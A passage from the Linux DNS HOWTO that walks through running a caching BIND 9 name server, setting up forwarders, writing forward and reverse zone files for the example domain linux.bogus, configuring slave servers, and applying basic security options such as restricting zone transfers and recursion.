After all this it's time to start named. If you're using a dialup connection connect first. Now run named, either by running the boot script: /etc/init.d/named start or named directly: /usr/sbin/named. If you have tried previous versions of BIND you're probably used to ndc. I BIND 9 it has been replaced with rndc, which can controll your named remotely, but it can't start named anymore. If you view your syslog message file (usually called /var/log/messages, Debian calls it /var/log/daemon, another directory to look is the other files /var/log) while starting named (do tail -f /var/log/messages) you should see something like:

(the lines ending in \ continues on the next line)

Dec 23 02:21:12 lookfar named[11031]: starting BIND 9.1.3
Dec 23 02:21:12 lookfar named[11031]: using 1 CPU
Dec 23 02:21:12 lookfar named[11034]: loading configuration from \
    '/etc/named.conf'
Dec 23 02:21:12 lookfar named[11034]: the default for the \
    'auth-nxdomain' option is now 'no'
Dec 23 02:21:12 lookfar named[11034]: no IPv6 interfaces found
Dec 23 02:21:12 lookfar named[11034]: listening on IPv4 interface lo, \
    127.0.0.1#53
Dec 23 02:21:12 lookfar named[11034]: listening on IPv4 interface eth0, \
    10.0.0.129#53
Dec 23 02:21:12 lookfar named[11034]: command channel listening on \
    127.0.0.1#953
Dec 23 02:21:13 lookfar named[11034]: running

If there are any messages about errors then there is a mistake. Named will name the file it is reading. Go back and check the file. Start named over when it is fixed.

Now you can test your setup. Traditionally a program called nslookup is used for this. These days dig is recommended:

$ dig -x 127.0.0.1
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26669
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1.0.0.127.in-addr.arpa.                IN      PTR

;; ANSWER SECTION:
1.0.0.127.in-addr.arpa. 259200  IN      PTR     localhost.

;; AUTHORITY SECTION:
0.0.127.in-addr.arpa.   259200  IN      NS      ns.linux.bogus.

;; Query time: 3 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 02:26:17 2001
;; MSG SIZE  rcvd: 91

If that's what you get it's working. We hope. Anything very different, go back and check everything. Each time you change a file you need to run rndc reload.

Now you can enter a query. Try looking up some machine close to you. pat.uio.no is close to me, at the University of Oslo:

$ dig pat.uio.no
; <<>> DiG 9.1.3 <<>> pat.uio.no
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15574
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 0

;; QUESTION SECTION:
;pat.uio.no.                    IN      A

;; ANSWER SECTION:
pat.uio.no.             86400   IN      A       129.240.130.16

;; AUTHORITY SECTION:
uio.no.                 86400   IN      NS      nissen.uio.no.
uio.no.                 86400   IN      NS      nn.uninett.no.
uio.no.                 86400   IN      NS      ifi.uio.no.

;; Query time: 651 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 02:28:35 2001
;; MSG SIZE  rcvd: 108

This time dig asked your named to look for the machine pat.uio.no. It then contacted one of the name server machines named in your root.hints file, and asked its way from there. It might take tiny while before you get the result as it may need to search all the domains you named in /etc/resolv.conf.

If you ask the same again you get this:

$ dig pat.uio.no

; <<>> DiG 8.2 <<>> pat.uio.no
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3
;; QUERY SECTION:
;;      pat.uio.no, type = A, class = IN

;; ANSWER SECTION:
pat.uio.no.             23h59m58s IN A  129.240.130.16

;; AUTHORITY SECTION:
UIO.NO.                 23h59m58s IN NS  nissen.UIO.NO.
UIO.NO.                 23h59m58s IN NS  ifi.UIO.NO.
UIO.NO.                 23h59m58s IN NS  nn.uninett.NO.

;; ADDITIONAL SECTION:
nissen.UIO.NO.          23h59m58s IN A  129.240.2.3
ifi.UIO.NO.             1d23h59m58s IN A  129.240.64.2
nn.uninett.NO.          1d23h59m58s IN A  158.38.0.181

;; Total query time: 4 msec
;; FROM: lookfar to SERVER: default -- 127.0.0.1
;; WHEN: Sat Dec 16 00:23:09 2000
;; MSG SIZE  sent: 28  rcvd: 162

As you can plainly see this time it was much faster, 4ms versus more than half a second earlier. The answer was cached. With cached answers there is the possibility that the answer is out of date, but the origin servers can control the time cached answers should be considered valid, so there is a high probability that the answer you get is valid.

3.2 Resolvers

All OSes implementing the standard C API has the calls gethostbyname and gethostbyaddr. These can get information from several different sources. Which sources it gets it from is configured in /etc/nsswitch.conf on Linux (and some other Unixes). This is a long file specifying from which file or database to get different kinds of data types. It usually contains helpful comments at the top, which you should consider reading. After that find the line starting with `hosts:'; it should read:

hosts:      files dns

(You remembered about the leading spaces, right? I won't mention them again.)

If there is no line starting with `hosts:' then put in the one above. It says that programs should first look in the /etc/hosts file, then check DNS according to resolv.conf.

3.3 Congratulations

Now you know how to set up a caching named. Take a beer, milk, or whatever you prefer to celebrate it.


DNS HOWTO : Forwarding

 Next Previous Contents

4. Forwarding

In large, well organized, academic or ISP (Internet Service Provider) networks you will sometimes find that the network people have set up a forwarder hierarchy of DNS servers which helps lighten the internal network load and the load on the outside servers as well. It's not easy to know if you're inside such a network or not. But by using the DNS server of your network provider as a ``forwarder'' you can make the responses to queries faster and less of a load on your network. This works by your nameserver forwarding queries to your ISP nameserver. Each time this happens you will dip into the big cache of your ISPs nameserver, thus speeding your queries up, your nameserver does not have to do all the work itself. If you use a modem this can be quite a win. For the sake of this example we assume that your network provider has two name servers they want you to use, with IP numbers 10.0.0.1 and 10.1.0.1. Then, in your named.conf file, inside the opening section called ``options'', insert these lines:

           forward first;
           forwarders {
                10.0.0.1;
                10.1.0.1;
            };

There is also a nice trick for dialup machines using forwarders, it is described in the qanda section.

Restart your nameserver and test it with dig. Should still work fine.


DNS HOWTO : A simple domain.

 Next Previous Contents

5. A simple domain.

How to set up your own domain.

5.1 But first some dry theory

First of all: you read all the stuff before here right? You have to.

Before we really start this section I'm going to serve you some theory on and an example of how DNS works. And you're going to read it because it's good for you. If you don't want to you should at least skim it very quickly. Stop skimming when you get to what should go in your named.conf file.

DNS is a hierarchical, tree structured system. The top is written `.' and pronounced `root', as is usual for tree data-structures. Under . there are a number of Top Level Domains (TLDs); the best known ones are ORG, COM, EDU and NET, but there are many more. Just like a tree it has a root and it branches out. If you have any computer science background you will recognize DNS as a search tree, and you will be able to find nodes, leaf nodes and edges. The dots are nodes, the edges are on the names.

When looking for a machine the query proceeds recursively into the hierarchy starting at the root. If you want to find the address of prep.ai.mit.edu., your nameserver has to start asking somewhere. It starts by looking it its cache. If it knows the answer, having cached it before, it will answer right away as we saw in the last section. If it does not know it will see how closely it can match the requested name and use whatever information it has cached. In the worst case there is no match but the `.' (root) of the name, and the root servers have to be consulted. It will remove the leftmost parts one at a time, checking if it knows anything about ai.mit.edu., then mit.edu., then edu., and if not that it does know about . because that was in the hints file. It will then ask a . server about prep.ai.mit.edu. This . server will not know the answer, but it will help your server on its way by giving a referral, telling it where to look instead. These referrals will eventually lead your server to a nameserver that knows the answer. I will illustrate that now. +norec means that dig is asking non-recursive questions so that we get to do the recursion ourselves. The other options are to reduce the amount of dig produces so this won't go on for too many pages:

$ ;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 980
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 0

;; AUTHORITY SECTION:
.                       518400  IN      NS      J.ROOT-SERVERS.NET.
.                       518400  IN      NS      K.ROOT-SERVERS.NET.
.                       518400  IN      NS      L.ROOT-SERVERS.NET.
.                       518400  IN      NS      M.ROOT-SERVERS.NET.
.                       518400  IN      NS      A.ROOT-SERVERS.NET.
.                       518400  IN      NS      B.ROOT-SERVERS.NET.
.                       518400  IN      NS      C.ROOT-SERVERS.NET.
.                       518400  IN      NS      D.ROOT-SERVERS.NET.
.                       518400  IN      NS      E.ROOT-SERVERS.NET.
.                       518400  IN      NS      F.ROOT-SERVERS.NET.
.                       518400  IN      NS      G.ROOT-SERVERS.NET.
.                       518400  IN      NS      H.ROOT-SERVERS.NET.
.                       518400  IN      NS      I.ROOT-SERVERS.NET.

This is a referral. It is giving us an "Authority section" only, no "Answer section". Our own nameserver refers us to a nameserver. Pick one at random:

$ dig +norec +noques +nostats +nocmd prep.ai.mit.edu. @D.ROOT-SERVERS.NET.
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58260
;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 3

;; AUTHORITY SECTION:
mit.edu.                172800  IN      NS      BITSY.mit.edu.
mit.edu.                172800  IN      NS      STRAWB.mit.edu.
mit.edu.                172800  IN      NS      W20NS.mit.edu.

;; ADDITIONAL SECTION:
BITSY.mit.edu.          172800  IN      A       18.72.0.3
STRAWB.mit.edu.         172800  IN      A       18.71.0.151
W20NS.mit.edu.          172800  IN      A       18.70.0.160

It refers us to MIT.EDU servers at once. Again pick one at random:

$ dig +norec +noques +nostats +nocmd prep.ai.mit.edu. @BITSY.mit.edu.
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29227
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 4

;; ANSWER SECTION:
prep.ai.mit.edu.        10562   IN      A       198.186.203.77

;; AUTHORITY SECTION:
ai.mit.edu.             21600   IN      NS      FEDEX.ai.mit.edu.
ai.mit.edu.             21600   IN      NS      LIFE.ai.mit.edu.
ai.mit.edu.             21600   IN      NS      ALPHA-BITS.ai.mit.edu.
ai.mit.edu.             21600   IN      NS      BEET-CHEX.ai.mit.edu.

;; ADDITIONAL SECTION:
FEDEX.ai.mit.edu.       21600   IN      A       192.148.252.43
LIFE.ai.mit.edu.        21600   IN      A       128.52.32.80
ALPHA-BITS.ai.mit.edu.  21600   IN      A       128.52.32.5
BEET-CHEX.ai.mit.edu.   21600   IN      A       128.52.32.22

This time we got a "ANSWER SECTION", and an answer for our question. The "AUTHORITY SECTION" contains information about which servers to ask about ai.mit.edu the next time. So you can ask them directly the next time you wonder about ai.mit.edu names. Named also gathered information about mit.edu, so of www.mit.edu is requested it is much closer to being able to answer the question.

So starting at . we found the successive name servers for each level in the domain name by referral. If you had used your own DNS server instead of using all those other servers, your named would of-course cache all the information it found while digging this out for you, and it would not have to ask again for a while.

In the tree analogue each ``.'' in the name is a branching point. And each part between the ``.''s are the names of individual branches in the tree. One climbs the tree by taking the name we want (prep.ai.mit.edu) asking the root (.) or whatever servers father from the root toward prep.ai.mit.edu we have information about in the cache. Once the cache limits are reached the recursive resolver goes out asking servers, pursuing referrals (edges) further into the name.

A much less talked about, but just as important domain is in-addr.arpa. It too is nested like the `normal' domains. in-addr.arpa allows us to get the host's name when we have its address. A important thing to note here is that the IP addresses are written in reverse order in the in-addr.arpa domain. If you have the address of a machine: 198.186.203.77 named proceeds to find the named 77.203.168.198.in-addr.arpa/ just like it did for prep.ai.mit.edu. Example: Finding no cache entry for any match but `.', ask a root server, m.root-servers.net refers you to some other root servers. b.root-servers.net refers you directly to bitsy.mit.edu/. You should be able to take it from there.

5.2 Our own domain

Now to define our own domain. We're going to make the domain linux.bogus and define machines in it. I use a totally bogus domain name to make sure we disturb no-one Out There.

One more thing before we start: Not all characters are allowed in host names. We're restricted to the characters of the English alphabet: a-z, and numbers 0-9 and the character '-' (dash). Keep to those characters (BIND 9 will not bug you if you break this rule, BIND 8 will). Upper and lower-case characters are the same for DNS, so pat.uio.no is identical to Pat.UiO.No.

We've already started this part with this line in named.conf:

zone "0.0.127.in-addr.arpa" {
        type master;
        file "pz/127.0.0";
};

Please note the lack of `.' at the end of the domain names in this file. This says that now we will define the zone 0.0.127.in-addr.arpa, that we're the master server for it and that it is stored in a file called pz/127.0.0. We've already set up this file, it reads:

$TTL 3D
@               IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                                1       ; Serial
                                8H      ; Refresh
                                2H      ; Retry
                                4W      ; Expire
                                1D)     ; Minimum TTL
                        NS      ns.linux.bogus.
1                       PTR     localhost.

Please note the `.' at the end of all the full domain names in this file, in contrast to the named.conf file above. Some people like to start each zone file with a $ORIGIN directive, but this is superfluous. The origin (where in the DNS hierarchy it belongs) of a zone file is specified in the zone section of the named.conf file; in this case it's 0.0.127.in-addr.arpa.

This `zone file' contains 3 `resource records' (RRs): A SOA RR. A NS RR and a PTR RR. SOA is short for Start Of Authority. The `@' is a special notation meaning the origin, and since the `domain' column for this file says 0.0.127.in-addr.arpa the first line really means

0.0.127.in-addr.arpa.   IN      SOA ...

NS is the Name Server RR. There is no '@' at the start of this line; it is implicit since the previous line started with a '@'. Saves some typing that. So the NS line could also be written

0.0.127.in-addr.arpa.   IN      NS      ns.linux.bogus

It tells DNS what machine is the name server of the domain 0.0.127.in-addr.arpa, it is ns.linux.bogus. 'ns' is a customary name for name-servers, but as with web servers who are customarily named www.something. The name may be anything.

And finally the PTR (Domain Name Pointer) record says that the host at address 1 in the subnet 0.0.127.in-addr.arpa, i.e., 127.0.0.1 is named localhost.

The SOA record is the preamble to all zone files, and there should be exactly one in each zone file, at the top (but after the $TTL directive). It describes the zone, where it comes from (a machine called ns.linux.bogus), who is responsible for its contents (hostmaster@linux.bogus; you should insert your e-mail address here), what version of the zone file this is (serial: 1), and other things having to do with caching and secondary DNS servers. For the rest of the fields (refresh, retry, expire and minimum) use the numbers used in this HOWTO and you should be safe. Before the SOA comes a mandatory line, the $TTL 3D line. Put it in all your zone files.

Now restart your named (rndc stop; named) and use dig to examine your handy work. -x asks for the inverse query:

$ dig -x 127.0.0.1
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30944
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1.0.0.127.in-addr.arpa.                IN      PTR

;; ANSWER SECTION:
1.0.0.127.in-addr.arpa. 259200  IN      PTR     localhost.

;; AUTHORITY SECTION:
0.0.127.in-addr.arpa.   259200  IN      NS      ns.linux.bogus.

;; Query time: 3 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:02:39 2001
;; MSG SIZE  rcvd: 91

So it manages to get localhost from 127.0.0.1, good. Now for our main task, the linux.bogus domain, insert a new 'zone' section in named.conf:

zone "linux.bogus" {
        type master;
        notify no;
        file "pz/linux.bogus";
};

Note again the lack of ending `.' on the domain name in the named.conf file.

In the linux.bogus zone file we'll put some totally bogus data:

;
; Zone file for linux.bogus
;
; The full zone file
;
$TTL 3D
@       IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                        199802151       ; serial, todays date + todays serial #
                        8H              ; refresh, seconds
                        2H              ; retry, seconds
                        4W              ; expire, seconds
                        1D )            ; minimum, seconds
;
                NS      ns              ; Inet Address of name server
                MX      10 mail.linux.bogus     ; Primary Mail Exchanger
                MX      20 mail.friend.bogus.   ; Secondary Mail Exchanger
;
localhost       A       127.0.0.1
ns              A       192.168.196.2
mail            A       192.168.196.4

Two things must be noted about the SOA record. ns.linux.bogus must be a actual machine with a A record. It is not legal to have a CNAME record for the machine mentioned in the SOA record. Its name need not be `ns', it could be any legal host name. Next, hostmaster.linux.bogus should be read as hostmaster@linux.bogus. This should be a mail alias, or a mailbox, where the person(s) maintaining DNS should read mail frequently. Any mail regarding the domain will be sent to the address listed here. The name need not be `hostmaster', it can be your normal e-mail address, but the e-mail address `hostmaster' is often expected to work as well.

There is one new RR type in this file, the MX, or Mail eXchanger RR. It tells mail systems where to send mail that is addressed to someone@linux.bogus, namely to mail.linux.bogus or mail.friend.bogus. The number before each machine name is that MX RR's priority. The RR with the lowest number (10) is the one mail should be sent to if possible. If that fails the mail can be sent to one with a higher number, a secondary mail handler, i.e., mail.friend.bogus which has priority 20 here.

Reload named by running rndc reload. Examine the results with dig:

$ dig any linux.bogus
; <<>> DiG 9.1.3 <<>> any linux.bogus
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55239
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;linux.bogus.               IN      ANY

;; ANSWER SECTION:
linux.bogus.        259200  IN      SOA     ns.linux.bogus. \
      hostmaster.linux.bogus. 199802151 28800 7200 2419200 86400
linux.bogus.        259200  IN      NS      ns.linux.bogus.
linux.bogus.        259200  IN      MX      20 mail.friend.bogus.
linux.bogus.        259200  IN      MX      10 mail.linux.bogus.linux.bogus.

;; AUTHORITY SECTION:
linux.bogus.        259200  IN      NS      ns.linux.bogus.

;; ADDITIONAL SECTION:
ns.linux.bogus.     259200  IN      A       192.168.196.2

;; Query time: 4 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:06:45 2001
;; MSG SIZE  rcvd: 184

Upon careful examination you will discover a bug. The line

linux.bogus.        259200  IN MX        10 mail.linux.bogus.linux.bogus.

is all wrong. It should be

linux.bogus.        259200  IN MX        10 mail.linux.bogus.

I deliberately made a mistake so you could learn from it :-) Looking in the zone file we find this line:

                MX      10 mail.linux.bogus     ; Primary Mail Exchanger

It is missing a period. Or has a 'linux.bogus' too many. If a machine name does not end in a period in a zone file the origin is added to its end causing the double linux.bogus.linux.bogus. So either

                MX      10 mail.linux.bogus.    ; Primary Mail Exchanger

or

                MX      10 mail                 ; Primary Mail Exchanger

is correct. I prefer the latter form, it's less to type. There are some BIND experts that disagree, and some that agree with this. In a zone file the domain should either be written out and ended with a `.' or it should not be included at all, in which case it defaults to the origin.

I must stress that in the named.conf file there should not be `.'s after the domain names. You have no idea how many times a `.' too many or few have fouled up things and confused the h*ll out of people.

So having made my point here is the new zone file, with some extra information in it as well:

;
; Zone file for linux.bogus
;
; The full zone file
;
$TTL 3D
@       IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                        199802151       ; serial, todays date + todays serial #
                        8H              ; refresh, seconds
                        2H              ; retry, seconds
                        4W              ; expire, seconds
                        1D )            ; minimum, seconds
;
                TXT     "Linux.Bogus, your DNS consultants"
                NS      ns              ; Inet Address of name server
                NS      ns.friend.bogus.
                MX      10 mail         ; Primary Mail Exchanger
                MX      20 mail.friend.bogus. ; Secondary Mail Exchanger

localhost       A       127.0.0.1

gw              A       192.168.196.1
                TXT     "The router"

ns              A       192.168.196.2
                MX      10 mail
                MX      20 mail.friend.bogus.
www             CNAME   ns

donald          A       192.168.196.3
                MX      10 mail
                MX      20 mail.friend.bogus.
                TXT     "DEK"

mail            A       192.168.196.4
                MX      10 mail
                MX      20 mail.friend.bogus.

ftp             A       192.168.196.5
                MX      10 mail
                MX      20 mail.friend.bogus.

CNAME (Canonical NAME) is a way to give each machine several names. So www is an alias for ns. CNAME record usage is a bit controversial. But it's safe to follow the rule that a MX, CNAME or SOA record should never refer to a CNAME record, they should only refer to something with an A record, so it is inadvisable to have

foobar          CNAME   www                     ; NO!

but correct to have

foobar          CNAME   ns                      ; Yes!

Load the new database by running rndc reload, which causes named to read its files again.

$ dig linux.bogus axfr

; <<>> DiG 9.1.3 <<>> linux.bogus axfr
;; global options:  printcmd
linux.bogus.            259200  IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. 199802151 28800 7200 2419200 86400
linux.bogus.            259200  IN      NS      ns.linux.bogus.
linux.bogus.            259200  IN      MX      10 mail.linux.bogus.
linux.bogus.            259200  IN      MX      20 mail.friend.bogus.
donald.linux.bogus.     259200  IN      A       192.168.196.3
donald.linux.bogus.     259200  IN      MX      10 mail.linux.bogus.
donald.linux.bogus.     259200  IN      MX      20 mail.friend.bogus.
donald.linux.bogus.     259200  IN      TXT     "DEK"
ftp.linux.bogus.        259200  IN      A       192.168.196.5
ftp.linux.bogus.        259200  IN      MX      10 mail.linux.bogus.
ftp.linux.bogus.        259200  IN      MX      20 mail.friend.bogus.
gw.linux.bogus.         259200  IN      A       192.168.196.1
gw.linux.bogus.         259200  IN      TXT     "The router"
localhost.linux.bogus.  259200  IN      A       127.0.0.1
mail.linux.bogus.       259200  IN      A       192.168.196.4
mail.linux.bogus.       259200  IN      MX      10 mail.linux.bogus.
mail.linux.bogus.       259200  IN      MX      20 mail.friend.bogus.
ns.linux.bogus.         259200  IN      MX      10 mail.linux.bogus.
ns.linux.bogus.         259200  IN      MX      20 mail.friend.bogus.
ns.linux.bogus.         259200  IN      A       192.168.196.2
www.linux.bogus.        259200  IN      CNAME   ns.linux.bogus.
linux.bogus.            259200  IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. 199802151 28800 7200 2419200 86400
;; Query time: 41 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:12:31 2001
;; XFR size: 23 records

That's good. As you see it looks a bit like the zone file itself. Let's check what it says for www alone:

$ dig www.linux.bogus

; <<>> DiG 9.1.3 <<>> www.linux.bogus
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16633
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;www.linux.bogus.               IN      A

;; ANSWER SECTION:
www.linux.bogus.        259200  IN      CNAME   ns.linux.bogus.
ns.linux.bogus.         259200  IN      A       192.168.196.2

;; AUTHORITY SECTION:
linux.bogus.            259200  IN      NS      ns.linux.bogus.

;; Query time: 5 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:14:14 2001
;; MSG SIZE  rcvd: 80

In other words, the real name of www.linux.bogus is ns.linux.bogus, and it gives you some of the information it has about ns as well, enough to connect to it if you were a program.

Now we're halfway.

5.3 The reverse zone

Now programs can convert the names in linux.bogus to addresses which they can connect to. But also required is a reverse zone, one making DNS able to convert from an address to a name. This name is used by a lot of servers of different kinds (FTP, IRC, WWW and others) to decide if they want to talk to you or not, and if so, maybe even how much priority you should be given. For full access to all services on the Internet a reverse zone is required.

Put this in named.conf:

zone "196.168.192.in-addr.arpa" {
        type master;
        notify no;
        file "pz/192.168.196";
};

This is exactly as with the 0.0.127.in-addr.arpa, and the contents are similar:

$TTL 3D
@       IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                        199802151 ; Serial, todays date + todays serial
                        8H      ; Refresh
                        2H      ; Retry
                        4W      ; Expire
                        1D)     ; Minimum TTL
                NS      ns.linux.bogus.

1               PTR     gw.linux.bogus.
2               PTR     ns.linux.bogus.
3               PTR     donald.linux.bogus.
4               PTR     mail.linux.bogus.
5               PTR     ftp.linux.bogus.

Now you reload your named (rndc reload) and examine your work with dig again:

$ dig -x 192.168.196.4
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58451
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;4.196.168.192.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
4.196.168.192.in-addr.arpa. 259200 IN   PTR     mail.linux.bogus.

;; AUTHORITY SECTION:
196.168.192.in-addr.arpa. 259200 IN     NS      ns.linux.bogus.

;; ADDITIONAL SECTION:
ns.linux.bogus.         259200  IN      A       192.168.196.2

;; Query time: 4 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:16:05 2001
;; MSG SIZE  rcvd: 107

so, it looks OK, dump the whole thing to examine that too:

$ dig 196.168.192.in-addr.arpa. AXFR

; <<>> DiG 9.1.3 <<>> 196.168.192.in-addr.arpa. AXFR
;; global options:  printcmd
196.168.192.in-addr.arpa. 259200 IN     SOA     ns.linux.bogus. \
        hostmaster.linux.bogus. 199802151 28800 7200 2419200 86400
196.168.192.in-addr.arpa. 259200 IN     NS      ns.linux.bogus.
1.196.168.192.in-addr.arpa. 259200 IN   PTR     gw.linux.bogus.
2.196.168.192.in-addr.arpa. 259200 IN   PTR     ns.linux.bogus.
3.196.168.192.in-addr.arpa. 259200 IN   PTR     donald.linux.bogus.
4.196.168.192.in-addr.arpa. 259200 IN   PTR     mail.linux.bogus.
5.196.168.192.in-addr.arpa. 259200 IN   PTR     ftp.linux.bogus.
196.168.192.in-addr.arpa. 259200 IN     SOA     ns.linux.bogus. \
        hostmaster.linux.bogus. 199802151 28800 7200 2419200 86400
;; Query time: 6 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 23 03:16:58 2001
;; XFR size: 9 records

Looks good! If your output didn't look like that look for error-messages in your syslog, I explained how to do that in the first section under the heading Starting named

5.4 Words of caution

There are some things I should add here. The IP numbers used in the examples above are taken from one of the blocks of 'private nets', i.e., they are not allowed to be used publicly on the Internet. So they are safe to use in an example in a HOWTO. The second thing is the notify no; line. It tells named not to notify its secondary (slave) servers when it has gotten a update to one of its zone files. In BIND 8 and later the named can notify the other servers listed in NS records in the zone file when a zone is updated. This is handy for ordinary use. But for private experiments with zones this feature should be off --- we don't want the experiment to pollute the Internet do we?

And, of course, this domain is highly bogus, and so are all the addresses in it. For a real example of a real-life domain see the next main-section.

5.5 Why reverse lookups don't work.

There are a couple of ``gotchas'' that normally are avoided with name lookups that are often seen when setting up reverse zones. Before you go on you need reverse lookups of your machines working on your own nameserver. If it isn't go back and fix it before continuing.

I will discuss two failures of reverse lookups as seen from outside your network:

The reverse zone isn't delegated.

When you ask a service provider for a network-address range and a domain name the domain name is normally delegated as a matter of course. A delegation is the glue NS record that helps you get from one nameserver to another as explained in the dry theory section above. You read that, right? If your reverse zone doesn't work go back and read it. Now.

The reverse zone also needs to be delegated. If you got the 192.168.196 net with the linux.bogus domain from your provider they need to put NS records in for your reverse zone as well as for your forward zone. If you follow the chain from in-addr.arpa and up to your net you will probably find a break in the chain, most probably at your service provider. Having found the break in the chain contact your service-provider and ask them to correct the error.

You've got a classless subnet

This is a somewhat advanced topic, but classless subnets are very common these days and you probably have one if you're a small company.

A classless subnet is what keeps the Internet going these days. Some years ago there was much ado about the shortage of IP numbers. The smart people in IETF (the Internet Engineering Task Force, they keep the Internet working) stuck their heads together and solved the problem. At a price. The price is in part that you'll get less than a ``C'' subnet and some things may break. Please see Ask Mr. DNS for an good explanation of this and how to handle it.

Did you read it? I'm not going to explain it so please read it.

The first part of the problem is that your ISP must understand the technique described by Mr. DNS. Not all small ISPs have a working understanding of this. If so you might have to explain to them and be persistent. But be sure you understand it first ;-). They will then set up a nice reverse zone at their server which you can examine for correctness with dig.

The second and last part of the problem is that you must understand the technique. If you're unsure go back and read about it again. Then you can set up your own classless reverse zone as described by Mr. DNS.

There is another trap lurking here. (Very) Old resolvers will not be able to follow the CNAME trick in the resolving chain and will fail to reverse-resolve your machine. This can result in the service assigning it an incorrect access class, deny access or something along those lines. If you stumble into such a service the only solution (that I know of) is for your ISP to insert your PTR record directly into their trick classless zone file instead of the trick CNAME record.

Some ISPs will offer other ways to handle this, like Web based forms for you to input your reverse-mappings in or other automagical systems.

5.6 Slave servers

Once you have set up your zones correctly on the master servers you need to set up at least one slave server. Slave servers are needed for robustness. If your master goes down the people out there on the net will still be able to get information about your domain from the slave. A slave should be as long away from you as possible. Your master and slave should share as few as possible of these: Power supply, LAN, ISP, city and country. If all of these things are different for your master and slave you've found a really good slave.

A slave is simply a nameserver that copies zone files from a master. You set it up like this:

zone "linux.bogus" {
        type slave;
        file "sz/linux.bogus";
        masters { 192.168.196.2; };
};

A mechanism called zone-transfer is used to copy the data. The zone transfer is controlled by your SOA record:

@       IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                        199802151       ; serial, todays date + todays serial #
                        8H              ; refresh, seconds
                        2H              ; retry, seconds
                        4W              ; expire, seconds
                        1D )            ; minimum, seconds

A zone is only transferred if the serial number on the master is larger than on the slave. Every refresh interval the slave will check if the master has been updated. If the check fails (because the master is unavailable) it will retry the check every retry interval. If it continues to fail as long as the expire interval the slave will remove the zone from it's filesystem and no longer be a server for it.


DNS HOWTO : Basic security options.

 Next Previous Contents

6. Basic security options.

By Jamie Norrish

Setting configuration options to reduce the possibility of problems.

There are a few simple steps that you can take which will both make your server more secure and potentially reduce its load. The material presented here is nothing more than a starting point; if you are concerned about security (and you should be), please consult other resources on the net (see the last chapter).

The following configuration directives occur in named.conf. If a directive occurs in the options section of the file, it applies to all zones listed in that file. If it occurs within a zone entry, it applies only to that zone. A zone entry overrides an options entry.

6.1 Restricting zone transfers

In order for your slave server(s) to be able to answer queries about your domain, they must be able to transfer the zone information from your primary server. Very few others have a need to do so. Therefore restrict zone transfers using the allow-transfer option, assuming 192.168.1.4 is the IP address of ns.friend.bogus and adding yourself for debugging purposes:

zone "linux.bogus" {
      allow-transfer { 192.168.1.4; localhost; };
};

By restricting zone transfers you ensure that the only information available to people is that which they ask for directly - no one can just ask for all the details about your set-up.

6.2 Protecting against spoofing

Firstly, disable any queries for domains you don't own, except from your internal/local machines. This not only helps prevent malicious use of your DNS server, but also reduces unnecessary use of your server.

options {
      allow-query { 192.168.196.0/24; localhost; };
};

zone "linux.bogus" {
      allow-query { any; };
};

zone "196.168.192.in-addr.arpa" {
      allow-query { any; };
};

Further, disable recursive queries except from internal/local sources. This reduces the risk of cache poisoning attacks (where false data is fed to your server).

options {
        allow-recursion { 192.168.196.0/24; localhost; };
};

6.3 Running named as non-root

It is a good idea to run named as a user other than root, so that if it is compromised the privileges gained by the cracker are as limited as possible. You first have to create a user for named to run under, and then modify whatever init script you use that starts named. Pass the new user name and group to named using the -u and -g flags.

For example, in Debian GNU/Linux 2.2 you might modify your /etc/init.d/bind script to have the following line (where user named have been created):

start-stop-daemon --start --quiet --exec /usr/sbin/named -- -u named

The same can be done with Red Hat and the other distributions.

